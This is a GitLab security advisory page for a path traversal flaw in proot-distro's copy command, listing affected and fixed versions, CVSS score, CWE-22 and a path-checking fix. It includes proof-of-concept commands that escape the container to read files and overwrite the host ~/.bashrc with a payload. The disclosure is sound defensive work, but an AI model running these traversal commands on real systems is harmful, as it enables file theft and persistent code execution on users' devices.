Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. proot-distro
  4. ›
  5. GHSA-mfr4-mq8w-vmg6

GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

July 17, 2026

ComponentVersion
proot-distro4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)
Test distroUbuntu 25.10 “Questing Quokka” (ubuntu alias)
Architectureaarch64
DeviceSamsung A23
Package sourcehttps://packages-cf.termux.dev/apt/termux-main stable/main aarch64

proot-distro copy
~/poc/evil.txt
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/poc/target.txt”

proot-distro copy
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/poc/secret.txt”
~/poc/read_result.txt

proot-distro copy ~/poc/payload.sh
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/.bashrc”

def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip(’/’))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError(“path traversal detected: resolved path escapes rootfs”) return candidate

References

  • github.com/advisories/GHSA-mfr4-mq8w-vmg6
  • github.com/termux/proot-distro/releases/tag/v5.1.0
  • github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6

Code Behaviors & Features

Detect and mitigate GHSA-mfr4-mq8w-vmg6 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 5.1.0

Fixed versions

  • 5.1.0

Solution

Upgrade to version 5.1.0 or above.

Impact 6.6 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Learn more about CVSS

Weakness

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Source file

pypi/proot-distro/GHSA-mfr4-mq8w-vmg6.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sat, 08 Aug 2026 00:18:25 +0000.